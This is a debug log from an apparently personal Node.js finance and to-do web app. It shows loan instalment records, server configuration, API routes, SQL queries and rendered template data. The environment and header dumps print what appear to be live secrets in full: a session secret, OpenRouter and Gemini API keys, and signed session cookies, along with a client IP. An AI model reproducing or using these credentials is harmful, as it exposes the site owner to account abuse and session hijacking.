    due_date: '2023-12-01T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 384,
    loan_id: 18,
    due_date: '2024-01-01T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 385,
    loan_id: 18,
    due_date: '2024-02-01T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 386,
    loan_id: 18,
    due_date: '2024-03-01T18:30:00.000Z',
    paid_on: '2024-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 387,
    loan_id: 18,
    due_date: '2024-04-01T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 388,
    loan_id: 18,
    due_date: '2024-05-01T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 389,
    loan_id: 18,
    due_date: '2024-06-01T18:30:00.000Z',
    paid_on: '2024-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 390,
    loan_id: 18,
    due_date: '2024-07-01T18:30:00.000Z',
    paid_on: '2024-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 391,
    loan_id: 18,
    due_date: '2024-08-01T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 392,
    loan_id: 18,
    due_date: '2024-09-01T18:30:00.000Z',
    paid_on: '2024-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 393,
    loan_id: 18,
    due_date: '2024-10-01T18:30:00.000Z',
    paid_on: '2024-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 394,
    loan_id: 18,
    due_date: '2024-11-01T18:30:00.000Z',
    paid_on: '2024-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 395,
    loan_id: 18,
    due_date: '2024-12-01T18:30:00.000Z',
    paid_on: '2024-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 396,
    loan_id: 18,
    due_date: '2025-01-01T18:30:00.000Z',
    paid_on: '2025-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 397,
    loan_id: 18,
    due_date: '2025-02-01T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 398,
    loan_id: 18,
    due_date: '2025-03-01T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 399,
    loan_id: 18,
    due_date: '2025-04-01T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 400,
    loan_id: 18,
    due_date: '2025-05-01T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 401,
    loan_id: 18,
    due_date: '2025-06-01T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 402,
    loan_id: 18,
    due_date: '2025-07-01T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 403,
    loan_id: 18,
    due_date: '2025-08-01T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 404,
    loan_id: 18,
    due_date: '2025-09-01T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 405,
    loan_id: 18,
    due_date: '2025-10-01T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 406,
    loan_id: 18,
    due_date: '2025-11-01T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 407,
    loan_id: 18,
    due_date: '2025-12-01T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 408,
    loan_id: 18,
    due_date: '2026-01-01T18:30:00.000Z',
    paid_on: '2026-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 409,
    loan_id: 18,
    due_date: '2026-02-01T18:30:00.000Z',
    paid_on: '2026-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 410,
    loan_id: 18,
    due_date: '2026-03-01T18:30:00.000Z',
    paid_on: '2026-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 411,
    loan_id: 18,
    due_date: '2026-04-01T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 412,
    loan_id: 18,
    due_date: '2026-05-01T18:30:00.000Z',
    paid_on: '2026-05-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 413,
    loan_id: 18,
    due_date: '2026-06-01T18:30:00.000Z',
    paid_on: '2026-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 414,
    loan_id: 18,
    due_date: '2026-07-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 415,
    loan_id: 18,
    due_date: '2026-08-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  }
]
2026-06-07T05:07:01.840Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-07T05:07:02.022Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-07T05:07:02.108Z server-connect:setup:upload Upload middleware configured.
2026-06-07T05:07:02.108Z server-connect:secure CSRF Protection initialized
2026-06-07T05:07:02.110Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-07T05:07:02.112Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-07T05:07:02.113Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-07T05:07:02.113Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-07T05:07:02.114Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-07T05:07:02.116Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-07T05:07:02.118Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-07T05:07:02.119Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-07T05:07:02.120Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-07T05:07:02.120Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-07T05:07:02.120Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-07T05:07:02.120Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-07T05:07:02.121Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-07T05:07:02.121Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-07T05:07:02.121Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-07T05:07:02.122Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-07T05:07:02.122Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-07T05:07:02.122Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-07T05:07:02.123Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-07T05:07:02.123Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-07T05:07:02.123Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-07T05:07:02.123Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-07T05:07:02.124Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-07T05:07:02.124Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-07T05:07:02.124Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-07T05:07:02.124Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-07T05:07:02.125Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-07T05:07:02.125Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-07T05:07:02.125Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-07T05:07:02.125Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-07T05:07:02.126Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-07T05:07:02.126Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-07T05:07:02.126Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-07T05:07:02.126Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-07T05:07:02.126Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-07T05:07:02.126Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-07T05:07:02.127Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-07T05:07:02.127Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-07T05:07:02.252Z server-connect:router Serving templateView /goal
2026-06-07T05:07:02.255Z server-connect:app Executing action step identify
2026-06-07T05:07:02.255Z server-connect:app options: { provider: 'security' }
2026-06-07T05:07:02.257Z server-connect:output identity: 1
2026-06-07T05:07:02.257Z server-connect:app Executing action step restrict
2026-06-07T05:07:02.257Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-07T05:07:02.259Z server-connect:output restrict: undefined
2026-06-07T05:07:02.260Z server-connect:router Render template goal
2026-06-07T05:07:02.260Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AmPTJJ9wH7jSwA6VkGULYjg%3D%3D.s9Du08%2FDou9aXDwi1YFCIZGI514DNsA0aKB06T6dI6F28Asb4yF4yz0jM5Aly6FeE1eMd%2FDVGIPB3%2B7WWUZZGp276bAyyT2BzwNcPuZcH5esMty5RFzyml%2Fwbxc17Ex3JKZU00DOpHA69gEF4H964tA07J12UO%2BOpwmp2iy%2F8as%3D.2k2dmtDYZA%2FT008a9q9ulXJCKaxxG1Jaz0jWWjAuCfw; your_r_git.sid=s%3Ab-Mlzwdi_M9ZcEnM_2ocj_NXU08Jxk8j.HKjWdsYJoQF9jV2z1uK7OLEeYaLcJLYy2qixTgG20QM',
    'x-forwarded-for': '49.43.183.113',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-08T05:05:19.256Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.183.113',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AmPTJJ9wH7jSwA6VkGULYjg%3D%3D.s9Du08%2FDou9aXDwi1YFCIZGI514DNsA0aKB06T6dI6F28Asb4yF4yz0jM5Aly6FeE1eMd%2FDVGIPB3%2B7WWUZZGp276bAyyT2BzwNcPuZcH5esMty5RFzyml%2Fwbxc17Ex3JKZU00DOpHA69gEF4H964tA07J12UO%2BOpwmp2iy%2F8as%3D.2k2dmtDYZA%2FT008a9q9ulXJCKaxxG1Jaz0jWWjAuCfw; your_r_git.sid=s%3Ab-Mlzwdi_M9ZcEnM_2ocj_NXU08Jxk8j.HKjWdsYJoQF9jV2z1uK7OLEeYaLcJLYy2qixTgG20QM',
    'HTTP_X_FORWARDED-FOR': '49.43.183.113',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-06-07T05:07:02.459Z server-connect:router Serving serverConnect /api/goals/list
2026-06-07T05:07:02.460Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-06-07T05:07:02.460Z server-connect:app Executing action step identify
2026-06-07T05:07:02.460Z server-connect:app options: { provider: 'security' }
2026-06-07T05:07:02.460Z server-connect:output identity: 1
2026-06-07T05:07:02.460Z server-connect:app Executing action step restrict
2026-06-07T05:07:02.460Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:07:02.461Z server-connect:app Executing action step identify
2026-06-07T05:07:02.461Z server-connect:app options: { provider: 'security' }
2026-06-07T05:07:02.461Z server-connect:output identity: 1
2026-06-07T05:07:02.461Z server-connect:app Executing action step restrict
2026-06-07T05:07:02.461Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:07:02.465Z server-connect:output restrict: undefined
2026-06-07T05:07:02.465Z server-connect:app Executing action step custom
2026-06-07T05:07:02.466Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-06-07T05:07:02.468Z server-connect:output restrict: undefined
2026-06-07T05:07:02.468Z server-connect:app Executing action step paged
2026-06-07T05:07:02.469Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-06-07T05:07:02.472Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '0',
    grand_total_target: '4100000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '0',
    grand_total_target: '4100000'
  }
]
2026-06-07T05:07:02.475Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -10 },
    current: 1,
    total: 0
  },
  data: []
}
2026-06-07T05:07:02.791Z server-connect:router Serving templateView /todo
2026-06-07T05:07:02.792Z server-connect:app Executing action step identify
2026-06-07T05:07:02.792Z server-connect:app options: { provider: 'security' }
2026-06-07T05:07:02.792Z server-connect:output identity: 1
2026-06-07T05:07:02.792Z server-connect:app Executing action step restrict
2026-06-07T05:07:02.792Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-07T05:07:02.793Z server-connect:output restrict: undefined
2026-06-07T05:07:02.793Z server-connect:router Render template todo
2026-06-07T05:07:02.793Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/todo',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"78e5-yxhbne6P4b4cgcFUMWk6bcqpSEA"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AmPTJJ9wH7jSwA6VkGULYjg%3D%3D.s9Du08%2FDou9aXDwi1YFCIZGI514DNsA0aKB06T6dI6F28Asb4yF4yz0jM5Aly6FeE1eMd%2FDVGIPB3%2B7WWUZZGp276bAyyT2BzwNcPuZcH5esMty5RFzyml%2Fwbxc17Ex3JKZU00DOpHA69gEF4H964tA07J12UO%2BOpwmp2iy%2F8as%3D.2k2dmtDYZA%2FT008a9q9ulXJCKaxxG1Jaz0jWWjAuCfw; your_r_git.sid=s%3Ab-Mlzwdi_M9ZcEnM_2ocj_NXU08Jxk8j.HKjWdsYJoQF9jV2z1uK7OLEeYaLcJLYy2qixTgG20QM',
    'x-forwarded-for': '49.43.183.113',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-08T05:05:19.256Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/todo',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.183.113',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/todo',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/todo',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"78e5-yxhbne6P4b4cgcFUMWk6bcqpSEA"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AmPTJJ9wH7jSwA6VkGULYjg%3D%3D.s9Du08%2FDou9aXDwi1YFCIZGI514DNsA0aKB06T6dI6F28Asb4yF4yz0jM5Aly6FeE1eMd%2FDVGIPB3%2B7WWUZZGp276bAyyT2BzwNcPuZcH5esMty5RFzyml%2Fwbxc17Ex3JKZU00DOpHA69gEF4H964tA07J12UO%2BOpwmp2iy%2F8as%3D.2k2dmtDYZA%2FT008a9q9ulXJCKaxxG1Jaz0jWWjAuCfw; your_r_git.sid=s%3Ab-Mlzwdi_M9ZcEnM_2ocj_NXU08Jxk8j.HKjWdsYJoQF9jV2z1uK7OLEeYaLcJLYy2qixTgG20QM',
    'HTTP_X_FORWARDED-FOR': '49.43.183.113',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-06-07T05:07:02.976Z server-connect:router Serving serverConnect /api/todo/list_active
2026-06-07T05:07:02.976Z server-connect:router Serving serverConnect /api/todo/list_someday
2026-06-07T05:07:02.977Z server-connect:app Executing action step identify
2026-06-07T05:07:02.977Z server-connect:app options: { provider: 'security' }
2026-06-07T05:07:02.977Z server-connect:output identity: 1
2026-06-07T05:07:02.977Z server-connect:app Executing action step restrict
2026-06-07T05:07:02.977Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:07:02.978Z server-connect:app Executing action step identify
2026-06-07T05:07:02.978Z server-connect:app options: { provider: 'security' }
2026-06-07T05:07:02.978Z server-connect:output identity: 1
2026-06-07T05:07:02.978Z server-connect:app Executing action step restrict
2026-06-07T05:07:02.978Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:07:02.978Z server-connect:output restrict: undefined
2026-06-07T05:07:02.978Z server-connect:app Executing action step select
2026-06-07T05:07:02.978Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    table: { name: 'todos' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `todos`.*, `tr`.`repeat_type`, `tr`.`next_due_date`, `tf`.`required_amount`, `tf`.`saved_amount` from `todos` left join `todo_recurrence` as `tr` on `tr`.`todo_id` = `todos`.`id` left join `todo_financial` as `tf` on `tf`.`todo_id` = `todos`.`id` where `todos`.`section` = ? order by `todos`.`id` ASC',
    params: [],
    orders: [ [Object] ]
  }
}
2026-06-07T05:07:02.980Z server-connect:output restrict: undefined
2026-06-07T05:07:02.980Z server-connect:app Executing action step select
2026-06-07T05:07:02.980Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    table: { name: 'todos' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: "select * from `todos` where `todos`.`section` = 'someday' order by `todos`.`created_at` DESC",
    params: [],
    orders: [ [Object] ]
  }
}
2026-06-07T05:07:02.982Z server-connect:output querySomeday: [
  {
    id: 8,
    title: 'Learn Blender',
    description: '3D modeling & animation. Useful for game dev and YouTube content.',
    category: 'Personal',
    priority: 'Low',
    section: 'someday',
    due_date: null,
